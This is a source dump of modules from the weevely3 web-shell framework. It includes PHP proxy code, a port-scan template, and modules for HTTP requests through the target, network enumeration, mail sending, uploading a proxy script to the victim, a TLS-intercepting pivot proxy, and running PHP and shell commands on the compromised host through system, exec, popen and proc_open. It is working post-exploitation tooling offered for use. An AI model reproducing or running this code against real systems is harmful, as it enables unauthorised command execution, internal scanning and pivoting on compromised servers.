'longdesc'), 'head' => array('profile'), 'layer' => array('src'), 'input' => array('src', 'usemap'), 'form' => array('action'), 'area' => array('href'), 'link' => array('href', 'src', 'urn'), 'meta' => array('content'), 'param' => array('value'), 'applet' => array('codebase', 'code', 'object', 'archive'), 'object' => array('usermap', 'codebase', 'classid', 'archive', 'data'), 'script' => array('src'), 'select' => array('src'), 'hr' => array('src'), 'table' => array('background'), 'tr' => array('background'), 'th' => array('background'), 'td' => array('background'), 'bgsound' => array('src'), 'blockquote' => array('cite'), 'del' => array('cite'), 'embed' => array('src'), 'fig' => array('src', 'imagemap'), 'ilayer' => array('src'), 'ins' => array('cite'), 'note' => array('src'), 'overlay' => array('src', 'imagemap'), 'q' => array('cite'), 'ul' => array('src') ); preg_match_all('#(<\s*style[^>]*>)(.*?)(<\s*/\s*style[^>]*>)#is', $_response_body, $matches, PREG_SET_ORDER); for ($i = 0, $count_i = count($matches); $i < $count_i; ++$i) { $_response_body = str_replace($matches[$i][0], $matches[$i][1]. proxify_css($matches[$i][2]) .$matches[$i][3], $_response_body); } preg_match_all("#<\s*([a-zA-Z\?-]+)([^>]+)>#S", $_response_body, $matches); for ($i = 0, $count_i = count($matches[0]); $i < $count_i; ++$i) { if (!preg_match_all("#([a-zA-Z\-\/]+)\s*(?:=\s*(?:\"([^\">]*)\"?|'([^'>]*)'?|([^'\"\s]*)))?#S", $matches[2][$i], $m, PREG_SET_ORDER)) { continue; } $rebuild = false; $extra_html = $temp = ''; $attrs = array(); for ($j = 0, $count_j = count($m); $j < $count_j; $attrs[strtolower($m[$j][1])] = (isset($m[$j][4]) ? $m[$j][4] : (isset($m[$j][3]) ? $m[$j][3] : (isset($m[$j][2]) ? $m[$j][2] : false))), ++$j); if (isset($attrs['style'])) { $rebuild = true; $attrs['style'] = proxify_inline_css($attrs['style']); } $tag = strtolower($matches[1][$i]); if (isset($tags[$tag])) { switch ($tag) { case 'a': if (isset($attrs['href'])) { $rebuild = true; $attrs['href'] = complete_url($attrs['href']); } break; case 'img': if (isset($attrs['src'])) { $rebuild = true; $attrs['src'] = complete_url($attrs['src']); } if (isset($attrs['longdesc'])) { $rebuild = true; $attrs['longdesc'] = complete_url($attrs['longdesc']); } break; case 'form': if (isset($attrs['action'])) { $rebuild = true; if (trim($attrs['action']) === '') { $attrs['action'] = $_url_parts['path']; } if (!isset($attrs['method']) || strtolower(trim($attrs['method'])) === 'get') { $extra_html = ''; $attrs['action'] = ''; break; } $attrs['action'] = complete_url($attrs['action']); } break; case 'base': if (isset($attrs['href'])) { $rebuild = true; url_parse($attrs['href'], $_base); $attrs['href'] = complete_url($attrs['href']); } break; case 'meta': if ($_flags['strip_meta'] && isset($attrs['name'])) { $_response_body = str_replace($matches[0][$i], '', $_response_body); } if (isset($attrs['http-equiv'], $attrs['content']) && preg_match('#\s*refresh\s*#i', $attrs['http-equiv'])) { if (preg_match('#^(\s*[0-9]*\s*;\s*url=)(.*)#i', $attrs['content'], $content)) { $rebuild = true; $attrs['content'] = $content[1] . complete_url(trim($content[2], '"\'')); } } break; case 'head': if (isset($attrs['profile'])) { $rebuild = true; $attrs['profile'] = implode(' ', array_map('complete_url', explode(' ', $attrs['profile']))); } break; case 'applet': if (isset($attrs['codebase'])) { $rebuild = true; $temp = $_base; url_parse(complete_url(rtrim($attrs['codebase'], '/') . '/', false), $_base); unset($attrs['codebase']); } if (isset($attrs['code']) && strpos($attrs['code'], '/') !== false) { $rebuild = true; $attrs['code'] = complete_url($attrs['code']); } if (isset($attrs['object'])) { $rebuild = true; $attrs['object'] = complete_url($attrs['object']); } if (isset($attrs['archive'])) { $rebuild = true; $attrs['archive'] = implode(',', array_map('complete_url', preg_split('#\s*,\s*#', $attrs['archive']))); } if (!empty($temp)) { $_base = $temp; } break; case 'object': if (isset($attrs['usemap'])) { $rebuild = true; $attrs['usemap'] = complete_url($attrs['usemap']); } if (isset($attrs['codebase'])) { $rebuild = true; $temp = $_base; url_parse(complete_url(rtrim($attrs['codebase'], '/') . '/', false), $_base); unset($attrs['codebase']); } if (isset($attrs['data'])) { $rebuild = true; $attrs['data'] = complete_url($attrs['data']); } if (isset($attrs['classid']) && !preg_match('#^clsid:#i', $attrs['classid'])) { $rebuild = true; $attrs['classid'] = complete_url($attrs['classid']); } if (isset($attrs['archive'])) { $rebuild = true; $attrs['archive'] = implode(' ', array_map('complete_url', explode(' ', $attrs['archive']))); } if (!empty($temp)) { $_base = $temp; } break; case 'param': if (isset($attrs['valuetype'], $attrs['value']) && strtolower($attrs['valuetype']) == 'ref' && preg_match('#^[\w.+-]+://#', $attrs['value'])) { $rebuild = true; $attrs['value'] = complete_url($attrs['value']); } break; case 'frame': case 'iframe': if (isset($attrs['src'])) { $rebuild = true; $attrs['src'] = complete_url($attrs['src']) . '&nf=1'; } if (isset($attrs['longdesc'])) { $rebuild = true; $attrs['longdesc'] = complete_url($attrs['longdesc']); } break; default: foreach ($tags[$tag] as $attr) { if (isset($attrs[$attr])) { $rebuild = true; $attrs[$attr] = complete_url($attrs[$attr]); } } break; } } if ($rebuild) { $new_tag = "<$tag"; foreach ($attrs as $name => $value) { $delim = strpos($value, '"') && !strpos($value, "'") ? "'" : '"'; $new_tag .= ' ' . $name . ($value !== false ? '=' . $delim . $value . $delim : ''); } $_response_body = str_replace($matches[0][$i], $new_tag . '>' . $extra_html, $_response_body); } } if ($_flags['include_form'] && !isset($_GET['nf'])) { $_url_form = '
' . '
' . ' ' . ' ' . ' [go: up one dir, main page]' . '

'; foreach ($_flags as $flag_name => $flag_value) { if (!$_frozen_flags[$flag_name]) { $_url_form .= ' '; } } $_url_form .= '
'; $_response_body = preg_replace('#\<\s*body(.*?)\>#si', "$0\n$_url_form" , $_response_body, 1); } } $_response_keys['content-disposition'] = 'Content-Disposition'; $_response_headers['content-disposition'][0] = empty($_content_disp) ? ($_content_type == 'application/octet_stream' ? 'attachment' : 'inline') . '; filename="' . $_url_parts['file'] . '"' : $_content_disp; $_response_keys['content-length'] = 'Content-Length'; $_response_headers['content-length'][0] = strlen($_response_body); $_response_headers = array_filter($_response_headers); $_response_keys = array_filter($_response_keys); header(array_shift($_response_keys)); array_shift($_response_headers); foreach ($_response_headers as $name => $array) { foreach ($array as $value) { header($_response_keys[$name] . ': ' . $value, false); } } echo $_response_body; ?> epinna-weevely3-445bd88/modules/net/_scan/000077500000000000000000000000001444353330400204155ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/net/_scan/fsockopen.tpl000066400000000000000000000006301444353330400231240ustar00rootroot00000000000000$addrs = array( "${ '", "'.join( ips ) }" ); $ports = array( ${ ', '.join( [ str(p) for p in prts ] ) } ); foreach($addrs as $a) { foreach($ports as $p) { $n="";$e=""; if($fp = fsockopen($a, $p, $n, $e, $timeout=${ timeout })) { print("OPN $a:$p" . PHP_EOL); fclose($fp); } else { print("ERR $a:$p $e $n" . PHP_EOL); } } } epinna-weevely3-445bd88/modules/net/curl.py000066400000000000000000000150721444353330400206560ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, PhpFile, Os from core.module import Module from core import modules from core import messages from utils.strings import str2hex from core.loggers import log import os from ast import literal_eval import urllib.request, urllib.parse, urllib.error class Curl(Module): """Perform a curl-like HTTP request.""" aliases = [ 'curl' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpFile( payload_path = os.path.join(self.folder, 'php_context.tpl'), name = 'file_get_contents', arguments = [ '-raw-response' ] ), PhpFile( payload_path = os.path.join(self.folder, 'php_context.tpl'), name = 'fopen_stream_get_contents', arguments = [ '-raw-response' ] ), PhpFile( payload_path = os.path.join(self.folder, 'php_context.tpl'), name = 'fopen_fread', arguments = [ '-raw-response' ] ), PhpFile( payload_path = os.path.join(self.folder, 'php_curl.tpl'), name = 'php_curl', arguments = [ '-raw-response' ] ), PhpFile( payload_path = os.path.join(self.folder, 'php_httprequest1.tpl'), name = 'php_httprequest1', arguments = [ '-raw-response' ] ), # TODO: fix this, it fails the "POST request with binary string" test # due to some bash limitation with null bytes. # ShellCmd( # payload = """curl -s -i ${ '-A "$(env echo -ne \"%s\")"' % user_agent if user_agent else "" } ${ '--connect-timeout %i' % connect_timeout } ${ '-X %s' % request if (not data and request) else '' } ${ " ".join([ '-H "$(env echo -ne \"%s\")"' % h for h in header ]) } ${ '-b "$(env echo -ne \"%s\")"' % cookie if cookie else '' } ${ '--data-binary $(env echo -ne "%s")' % ' '.join(data) if data else '' } ${ '$(env echo -ne "%s")' % url }""", # name = 'sh_curl' # ) ] ) self.register_arguments([ { 'name' : 'url' }, { 'name' : '--header', 'dest' : 'header', 'action' : 'append', 'default' : [] }, { 'name' : '-H', 'dest' : 'header', 'action' : 'append', 'default' : [] }, { 'name' : '--cookie', 'dest' : 'cookie' }, { 'name' : '-b', 'dest' : 'cookie' }, { 'name' : '--data', 'dest' : 'data', 'action' : 'append', 'default' : [] }, { 'name' : '-d', 'dest' : 'data', 'action' : 'append', 'default' : [] }, { 'name' : '--user-agent', 'dest' : 'user_agent' }, { 'name' : '-A', 'dest' : 'user_agent' }, { 'name' : '--connect-timeout', 'type' : int, 'default' : 5, 'help' : 'Default: 2' }, { 'name' : '--request', 'dest' : 'request', 'choices' : ( 'GET', 'HEAD', 'POST', 'PUT', 'OPTIONS' ), 'default' : 'GET' }, { 'name' : '-X', 'dest' : 'request', 'choices' : ( 'GET', 'HEAD', 'POST', 'PUT', 'OPTIONS' ), 'default' : 'GET' }, { 'name' : '--output', 'dest' : 'output' }, { 'name' : '-o', 'dest' : 'output' }, { 'name' : '-i', 'dest' : 'include_headers', 'help' : 'Include response headers', 'action' : 'store_true', 'default' : False }, { 'name' : '-local', 'action' : 'store_true', 'default' : False, 'help' : 'Save file locally with -o|--output' }, { 'name' : '-vector', 'choices' : self.vectors.get_names(), 'default' : 'file_get_contents' } ]) def _encode(self): self.args['url'] = str2hex(self.args['url']) if self.args['data']: self.args['data'] = [ str2hex(x) for x in self.args['data'] ] if self.args['user_agent']: self.args['user_agent'] = str2hex(self.args['user_agent']) if self.args['cookie']: self.args['cookie'] = str2hex(self.args['cookie']) if self.args['header']: self.args['header'] = [ str2hex(x) for x in self.args['header'] ] def run(self, **kwargs): headers = [] saved = None self._encode() vector_name, result = self.vectors.find_first_result( names = [ self.args.get('vector') ], format_args = self.args, condition = lambda r: r if r and r.strip() else None ) # Print error and exit with no response or no headers if not (vector_name and result): log.warning(messages.module_net_curl.unexpected_response) return None, headers, saved elif not b'\r\n'*2 in result: # If something is returned but there is \r\n*2, we consider # everything as header. It happen with responses 204 No contents # that end with \r\n\r (wtf). headers = result result = b'' else: headers, result = result.split(b'\r\n'*2, 1) headers = ( [ h.rstrip() for h in headers.split(b'\r\n') ] if b'\r\n' in headers else headers ) output_path = self.args.get('output') if output_path: # If response must be saved, it's anyway safer to save it # within additional requests if not self.args.get('local'): saved = ModuleExec('file_upload', [ '-content', result, output_path ]).run() else: try: with open(output_path, 'wb') as resultfile: resultfile.write(result) except Exception as e: log.warning( messages.generic.error_loading_file_s_s % (output_path, str(e))) saved = False else: saved = True return result, headers, saved def print_result(self, result): resultstring = result[0].decode("utf-8", "replace") headers = [ r.decode("utf-8", "replace") for r in result[1] ] saved = result[2] # If is saved, we do not want output if self.args.get('output'): log.info(saved) return # Print headers if requested if self.args.get('include_headers'): log.info( '\r\n'.join(headers) + '\r\n') if resultstring: log.info(resultstring) epinna-weevely3-445bd88/modules/net/ifconfig.py000066400000000000000000000044631444353330400214770ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core import modules from core import messages from core.loggers import log from utils.ipaddr import IPNetwork import re class Ifconfig(Module): """Get network interfaces addresses.""" aliases = [ 'ifconfig' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) def _get_ifconfig_result(self, ifconfig_path): result = ShellCmd( ifconfig_path, target = Os.NIX ).run() if not result: log.debug(messages.module_net_ifconfig.error_no_s_execution_result % ifconfig_path) return {} ifaces = re.findall('^(\S+).*?inet addr:(\S+).*?Mask:(\S+)', result, re.S | re.M) if not ifaces: log.debug(messages.module_net_ifconfig.error_parsing_s_execution_result % ifconfig_path) return {} networks = {} for iface in ifaces: try: networks[iface[0]] = IPNetwork('%s/%s' % (iface[1], iface[2])) except Exception as e: log.debug(messages.module_net_ifconfig.error_interpeting_s_execution_result_s % (ifconfig_path, str(e))) pass return networks def run(self, **kwargs): # Call raw ifconfig from $PATH and return it result = self._get_ifconfig_result("ifconfig") if result: return result # Is usually not in $PATH cause is suid. Enumerating paths. ifconfig_paths = ModuleExec('file_enum', [ '%sifconfig' % x for x in [ '/sbin/', '/bin/', '/usr/bin/', '/usr/sbin/', '/usr/local/bin/', '/usr/local/sbin/' ] ] ).run() for path in ifconfig_paths: result = self._get_ifconfig_result(path) if result: return result log.warn(messages.module_net_ifconfig.failed_retrieve_info) epinna-weevely3-445bd88/modules/net/mail.py000066400000000000000000000017611444353330400206330ustar00rootroot00000000000000from core.vectors import PhpCode, ShellCmd, ModuleExec, Os from core.module import Module from core import modules class Mail(Module): """Send mail.""" aliases = [ 'mail' ] def init(self): self.register_info( { 'author': [ 'appo' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'to', 'help' : 'Receiver, or receivers of the mail' }, { 'name' : 'subject', 'help' : 'Subject of the mail to be sent. ' }, { 'name' : 'message', 'help' : 'Message to be sent. ( Write message in " " ) ' }, { 'name' : 'sender', 'help' : 'Set sender of the mail. ' } ]) def run(self, **kwargs): return PhpCode("""(mail('${to}', '${subject}', '${message}', 'From: ${sender}') && print(1)) || print(0);""", postprocess = lambda x: True if x == '1' else False ).run(self.args) epinna-weevely3-445bd88/modules/net/phpproxy.py000066400000000000000000000043051444353330400215770ustar00rootroot00000000000000from core.vectors import ModuleExec from core.module import Module from core import modules from core import messages from core.loggers import log import utils import atexit import os class Phpproxy(Module): """Install PHP proxy on the target.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'rpath', 'help' : 'Remote path where to install the PHP proxy script. If it is a folder find the first writable folder in it', 'default' : '.', 'nargs' : '?' }, { 'name' : '-rname', 'help' : 'Set a specific file name ending with \'.php\'. Default is random', 'default' : '%s.php' % utils.strings.randstr(6).decode('utf-8') }, { 'name' : '-no-autoremove', 'action' : 'store_true', 'default' : False, 'help' : 'Do not autoremove on exit' } ]) def run(self, **kwargs): with open(os.path.join(self.folder, 'poxy.php'), 'r') as proxyfile: proxycontent = proxyfile.read() result = ModuleExec( 'file_upload2web', [ '-content', proxycontent, self.args['rname'], self.args['rpath'] ] ).run(self.args) if not ( result and len(result[0]) == 2 and result[0][0] and result[0][1] ): return log.warn( messages.module_net_phpproxy.phpproxy_installed_to_s_browser_to_s % ( result[0][0], result[0][1] ) ) if self.args['no_autoremove']: log.warn(messages.module_net_phpproxy.proxy_script_manually_remove_s % (result[0][0])) else: log.warn(messages.module_net_phpproxy.proxy_script_removed) atexit.register( ModuleExec('file_rm', [ result[0][0] ] ).run ) return result def print_result(self, result): pass epinna-weevely3-445bd88/modules/net/proxy.py000066400000000000000000000301331444353330400210650ustar00rootroot00000000000000from core.loggers import log, dlog from core import messages from core.vectors import ModuleExec from core.module import Module from core.config import base_path from http.server import HTTPServer, BaseHTTPRequestHandler from tempfile import gettempdir from socketserver import ThreadingMixIn from urllib.parse import urlparse, urlunparse, ParseResult from io import StringIO from http.client import HTTPResponse import threading import re import os import sys import socket import ssl import select import http.client import urllib.parse import threading import time import json import re from http.server import HTTPServer, BaseHTTPRequestHandler from socketserver import ThreadingMixIn from io import BytesIO from subprocess import Popen, PIPE from html.parser import HTMLParser from tempfile import mkdtemp re_valid_ip = re.compile("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$") re_valid_hostname = re.compile("^(([a-zA-Z0-9\-]+)\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\-]*[A-Za-z0-9])$") temp_certdir = mkdtemp() lock = threading.Lock() class FakeSocket(): def __init__(self, response_str): self._file = BytesIO(response_str) def makefile(self, *args, **kwargs): return self._file # Create path for the CA certificates and keys cert_folder = os.path.join(base_path, 'certs') try: os.makedirs(cert_folder) except: pass def get_cert_path(path): return os.path.join(cert_folder, path) def initialize_certificates(): cakey_path = get_cert_path("ca.key") cacrt_path = get_cert_path("ca.crt") certkey_path = get_cert_path("cert.key") if not os.path.isfile(cakey_path) or not os.path.isfile(cacrt_path) or not os.path.isfile(certkey_path): # openssl genrsa -out ca.key 2048 p1 = Popen(["openssl", "genrsa", "-out", cakey_path, "2048" ]) p1.communicate() p1.wait() # openssl req -new -x509 -days 3650 -key ca.key -out ca.crt -subj "/CN=proxy2 CA" p2 = Popen(["openssl", "req", "-new", "-x509", "-days", "3650", "-key", cakey_path, "-out", cacrt_path, "-subj", "/CN=proxy2 CA" ]) p2.communicate() p2.wait() # openssl genrsa -out cert.key 2048 p3 = Popen(["openssl", "genrsa", "-out", certkey_path, "2048" ]) p3.communicate() p3.wait() # # Most of the Proxy part has been taken from https://github.com/inaz2/proxy2 # class ThreadingHTTPServer(ThreadingMixIn, HTTPServer): address_family = socket.AF_INET daemon_threads = True def handle_error(self, request, client_address): # surpress socket/ssl related errors cls, e = sys.exc_info()[:2] if cls is socket.error or cls is ssl.SSLError: pass else: return HTTPServer.handle_error(self, request, client_address) class ProxyRequestHandler(BaseHTTPRequestHandler): cakey = get_cert_path('ca.key') cacert = get_cert_path('ca.crt') certkey = get_cert_path('cert.key') certdir = temp_certdir timeout = 5 lock = threading.Lock() def __init__(self, *args, **kwargs): self.tls = threading.local() self.tls.conns = {} BaseHTTPRequestHandler.__init__(self, *args, **kwargs) def log_error(self, format, *args): # surpress "Request timed out: timeout('timed out',)" if isinstance(args[0], socket.timeout): return def do_CONNECT(self): self.connect_intercept() def connect_intercept(self): hostname = self.path.split(':')[0] certname = "%s.crt" % (hostname) certpath = os.path.join(self.certdir, certname) if not (re_valid_ip.match(hostname) or re_valid_hostname.match(hostname)): log.warning("CN name '%s' is not valid, using 'www.weevely.com'" % (hostname)) hostname = 'www.weevely.com' with self.lock: if not os.path.isfile(certpath): epoch = "%d" % (time.time() * 1000) p1 = Popen(["openssl", "req", "-new", "-key", self.certkey, "-subj", "/CN=%s" % hostname], stdout=PIPE) p2 = Popen(["openssl", "x509", "-req", "-days", "3650", "-CA", self.cacert, "-CAkey", self.cakey, "-set_serial", epoch, "-out", certpath], stdin=p1.stdout, stderr=PIPE) p2.communicate() self.send_response_only(200, 'Connection Established') self.end_headers() try: self.connection = ssl.wrap_socket(self.connection, keyfile=self.certkey, certfile=certpath, server_side=True) self.rfile = self.connection.makefile("rb", self.rbufsize) self.wfile = self.connection.makefile("wb", self.wbufsize) except Exception as e: log.debug(e) raise conntype = self.headers.get('Proxy-Connection', '') if self.protocol_version == "HTTP/1.1" and conntype.lower() != 'close': self.close_connection = 0 else: self.close_connection = 1 def connect_relay(self): address = self.path.split(':', 1) address[1] = int(address[1]) or 443 try: s = socket.create_connection(address, timeout=self.timeout) except Exception as e: self.send_error(502) return self.send_response(200, 'Connection Established') self.end_headers() conns = [self.connection, s] self.close_connection = 0 while not self.close_connection: rlist, wlist, xlist = select.select(conns, [], conns, self.timeout) if xlist or not rlist: break for r in rlist: other = conns[1] if r is conns[0] else conns[0] data = r.recv(8192) if not data: self.close_connection = 1 break other.sendall(data) def do_GET(self): if self.path == 'http://weevely/': self.send_cacert() return req = self content_length = int(req.headers.get('Content-Length', 0)) req_body = self.rfile.read(content_length) if content_length else '' if req.path[0] == '/': if isinstance(self.connection, ssl.SSLSocket): req.path = "https://%s%s" % (req.headers['Host'], req.path) else: req.path = "http://%s%s" % (req.headers['Host'], req.path) req.headers['Content-length'] = str(len(req_body)) u = urllib.parse.urlsplit(req.path) scheme, netloc, path = u.scheme, u.netloc, (u.path + '?' + u.query if u.query else u.path) assert scheme in ('http', 'https') if netloc: req.headers['Host'] = netloc setattr(req, 'headers', self.filter_headers(req.headers)) net_curl_args = [ '-X', self.command, '-i' ] net_curl_args.append(self.path) for h in req.headers: if h.title().lower() == 'host': host = self.headers[h] else: net_curl_args += [ '-H', '%s: %s' % ( h.title(), self.headers[h] ) ] if self.command == 'POST': content_len = int(self.headers.get('content-length', 0)) net_curl_args += [ '-d', req_body ] lock.acquire() try: result, headers, saved = ModuleExec( 'net_curl', net_curl_args ).run() finally: lock.release() if not headers: log.debug('Error no headers') self.send_error(502) return log.debug( '> ' + '\r\n> '.join( [ '%s: %s' % ( h.title(), self.headers[h] ) for h in self.headers ] ) ) log.debug('< ' + '\r\n< '.join([ h.decode('utf-8', 'replace') for h in headers ])) http_response_str = b'\r\n'.join(headers) + b'\r\n\r\n' + result source = FakeSocket(http_response_str) res = HTTPResponse(source) res.begin() version_table = {10: 'HTTP/1.0', 11: 'HTTP/1.1'} setattr(res, 'headers', res.msg) setattr(res, 'response_version', version_table[res.version]) # support streaming if not 'Content-Length' in res.headers and 'no-store' in res.headers.get('Cache-Control', ''): setattr(res, 'headers', self.filter_headers(res.headers)) self.relay_streaming(res) return try: res_body = res.read() except Exception as e: log.debug(e) self.send_error(500) return setattr(res, 'headers', self.filter_headers(res.headers)) respstring = "%s %d %s\r\n" % (self.protocol_version, res.status, res.reason) self.wfile.write(respstring.encode('utf-8')) self.wfile.write(res.headers.as_bytes()) self.wfile.write(res_body) self.wfile.flush() def relay_streaming(self, res): respstring = "%s %d %s\r\n" % (self.protocol_version, res.status, res.reason) self.wfile.write(respstring.encode('utf-8')) self.wfile.write(res.headers.as_bytes() + b"\r\n") try: while True: chunk = res.read(8192) if not chunk: break self.wfile.write(chunk) self.wfile.flush() except socket.error: # connection closed by client pass do_HEAD = do_GET do_POST = do_GET do_PUT = do_GET do_DELETE = do_GET do_OPTIONS = do_GET def filter_headers(self, headers): # http://tools.ietf.org/html/rfc2616#section-13.5.1 hop_by_hop = ('connection', 'keep-alive', 'proxy-authenticate', 'proxy-authorization', 'te', 'trailers', 'transfer-encoding', 'upgrade') for k in hop_by_hop: del headers[k] return headers def send_cacert(self): with open(self.cacert, 'rb') as f: data = f.read() respstring = "%s %d %s\r\n" % (self.protocol_version, 200, 'OK') self.wfile.write(respstring.encode('utf-8')) self.send_header('Content-Type', 'application/x-x509-ca-cert') self.send_header('Content-Length', len(data)) self.send_header('Connection', 'close') self.end_headers() self.wfile.write(data) def run_proxy2(HandlerClass=ProxyRequestHandler, ServerClass=ThreadingHTTPServer, protocol="HTTP/1.1", hostname='127.0.0.1', port = '8080'): server_address = (hostname, port) HandlerClass.protocol_version = protocol httpd = ServerClass(server_address, HandlerClass) sa = httpd.socket.getsockname() httpd.serve_forever() class Proxy(Module): """Run local proxy to pivot HTTP/HTTPS browsing through the target.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : '-lhost', 'default' : '127.0.0.1' }, { 'name' : '-lport', 'default' : 8080, 'type' : int }, { 'name' : '-no-background', 'action' : 'store_true', 'default' : False, 'help' : 'Run foreground' } ]) def run(self, **kwargs): log.warning(messages.module_net_proxy.proxy_starting_s_i % ( self.args['lhost'], self.args['lport'] )) log.warning(messages.module_net_proxy.proxy_set_proxy) initialize_certificates() if self.args['no_background']: log.warning(messages.module_net_proxy.proxy_started_foreground) run_proxy2( hostname = self.args['lhost'], port = self.args['lport'] ) else: log.warning(messages.module_net_proxy.proxy_started_background) server_thread = threading.Thread(target=run_proxy2, kwargs = { 'hostname': self.args['lhost'], 'port': self.args['lport'] }) server_thread.daemon = True server_thread.start() epinna-weevely3-445bd88/modules/net/scan.py000066400000000000000000000074741444353330400206440ustar00rootroot00000000000000from core.vectors import PhpFile from core.module import Module from core.argparsers import SUPPRESS from core import modules from core.loggers import log from core import messages import utils import os class Scan(Module): """TCP Port scan.""" aliases = [ 'nmap' ] def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ PhpFile( payload_path = os.path.join(self.folder, 'fsockopen.tpl'), name = 'fsockopen', ) ] ) self.register_arguments([ { 'name' : 'addresses', 'help' : 'IPs or interface e.g. 10.1.1.1,10.1.1.2 or 10.1.1.1-254 or 10.1.1.1/255.255.255.0 or eth0' }, { 'name' : 'ports', 'help' : 'Ports e.g. 80,8080 or 80,8080-9090' }, { 'name' : '-timeout', 'help' : 'Connection timeout', 'type' : int, 'default' : 1 }, { 'name' : '-print', 'action' : 'store_true', 'default' : False, 'help' : 'Print closed and filtered ports' }, { 'name' : '-addresses-per-request', 'help' : SUPPRESS, 'type' : int, 'default' : 10 }, { 'name' : '-ports-per-request', 'help' : SUPPRESS, 'type' : int, 'default' : 5 }, ]) def run(self, **kwargs): ## Address handling # Explode every single IP or network starting from # format IP1,IP2-IP3,IP/MASK,.. IPs = [] for ip_or_network in self.args['addresses'].split(','): if ip_or_network.count('-') == 1: # If there is a dash, explode IPs += list( utils.iputil.ip_range(ip_or_network) ) elif ip_or_network.count('/') == 1: # If there is a /, too IPs += [ str(utils.ipaddr.IPAddress(ip)) for ip in utils.ipaddr.IPNetwork(ip_or_network) ] else: IPs.append(ip_or_network) ## Port handling prts = utils.iputil.port_range(self.args['ports']) results_string = '' for ips_chunk in list(utils.strings.chunks(IPs, self.args['addresses_per_request'])): for prts_chunk in list(utils.strings.chunks(prts, self.args['ports_per_request'])): results_string += self.vectors.get_result( name = 'fsockopen', format_args = { 'ips' : ips_chunk, 'prts' : prts_chunk, 'timeout' : self.args['timeout'] } ) log.warn('Scanning addresses %s-%s:%i-%i' % ( ips_chunk[0], ips_chunk[-1], prts_chunk[0], prts_chunk[-1] ) ) # Crappy output handling result = [] for result_string in results_string.split('\n'): addr_string_splitted = result_string.split(' ') if addr_string_splitted[0] == 'OPN': address = addr_string_splitted[1] error = 'OPEN' elif addr_string_splitted[0] == 'ERR': address = addr_string_splitted[1] error = '%s (%s)' % ( ' '.join(addr_string_splitted[2:-1]), addr_string_splitted[-1] ) else: log.debug( messages.module_net_scan.unexpected_response ) continue if self.args.get('print'): result.append((address, error)) elif error == 'OPEN': result.append(address) return result epinna-weevely3-445bd88/modules/shell/000077500000000000000000000000001444353330400176535ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/shell/__init__.py000066400000000000000000000000001444353330400217520ustar00rootroot00000000000000epinna-weevely3-445bd88/modules/shell/php.py000066400000000000000000000062771444353330400210300ustar00rootroot00000000000000from mako.template import Template from core.module import Module, Status from core.channels.channel import Channel from core import config from core.loggers import log from core.argparsers import SUPPRESS import random class Php(Module): """Execute PHP commands.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_arguments([ { 'name' : 'command', 'help' : 'PHP code wrapped in quotes and terminated by semi-comma', 'nargs' : '+' }, { 'name' : '-prefix-string', 'default' : '@error_reporting(0);' }, { 'name' : '-post_data' }, { 'name' : '-postfix-string', 'default' : '' }, { 'name' : '-raw-response', 'help' : SUPPRESS, 'action' : 'store_true', 'default' : False }, ]) self.channel = None def _check_interpreter(self, channel): rand = str(random.randint(11111, 99999)) command = 'echo(%s);' % rand response, code, error = channel.send(command) if response and rand == response.decode('utf-8'): status = Status.RUN else: # The PHP shell should never return FAIL status = Status.IDLE return status def setup(self): """Instauration of the PHP channel. Returns the module status.""" # Try a single channel if is manually set, else # probe every the supported channel from config if self.session.get('channel'): channels = [ self.session['channel'] ] else: channels = config.channels for channel_name in channels: channel = Channel( channel_name = channel_name, session = self.session ) status = self._check_interpreter(channel) if status == Status.RUN: self.session['channel'] = channel_name self.channel = channel break log.debug( 'PHP setup %s %s' % ( 'running' if status == Status.RUN else 'failed', 'with %s channel' % (channel_name) if status == Status.RUN else '' ) ) return status def run(self, **kwargs): """ Run module """ # This is an unusual slack setup at every execution # to check and eventually instance the proper channel if self.session['shell_php'].get('status') != Status.RUN: self.setup() cwd = self._get_stored_result('cwd', module = 'file_cd', default = '.') chdir = '' if cwd == '.' else "chdir('%s');" % cwd # Compose command with cwd, pre_command, and post_command option. self.args.update({ 'chdir' : chdir }) command = Template("""${chdir}${prefix_string}${ ' '.join(command) }${postfix_string}""", strict_undefined=True).render(**self.args) log.debug('PAYLOAD %s' % command) # Send command response, code, error = self.channel.send(command, **kwargs) if self.args.get('raw_response'): return response else: return response.decode('utf-8', 'replace') epinna-weevely3-445bd88/modules/shell/sh.py000066400000000000000000000107331444353330400206430ustar00rootroot00000000000000from core.vectors import PhpCode from core.module import Module, Status from core.loggers import log from core.vectors import Os from core import messages from core import modules import random class Sh(Module): """Execute shell commands.""" def init(self): self.register_info( { 'author': [ 'Emilio Pinna' ], 'license': 'GPLv3' } ) self.register_vectors( [ # All the system-like calls has to be properly wrapped between single quotes PhpCode("""@system('${command}${stderr_redirection}');""", "system"), PhpCode("""@passthru('${command}${stderr_redirection}');""", "passthru"), PhpCode("""print(@shell_exec('${command}${stderr_redirection}'));""", "shell_exec"), PhpCode("""$r=array(); @exec('${command}${stderr_redirection}', $r);print(join(\"\\n\",$r));""", "exec"), PhpCode(""" $h=@popen('${command}','r'); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }""", "popen"), PhpCode(""" $p = array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')); $h = @proc_open('${command}', $p, $pipes); if($h&&$pipes){ while(!feof($pipes[1])) echo(fread($pipes[1],4096)); while(!feof($pipes[2])) echo(fread($pipes[2],4096)); fclose($pipes[0]); 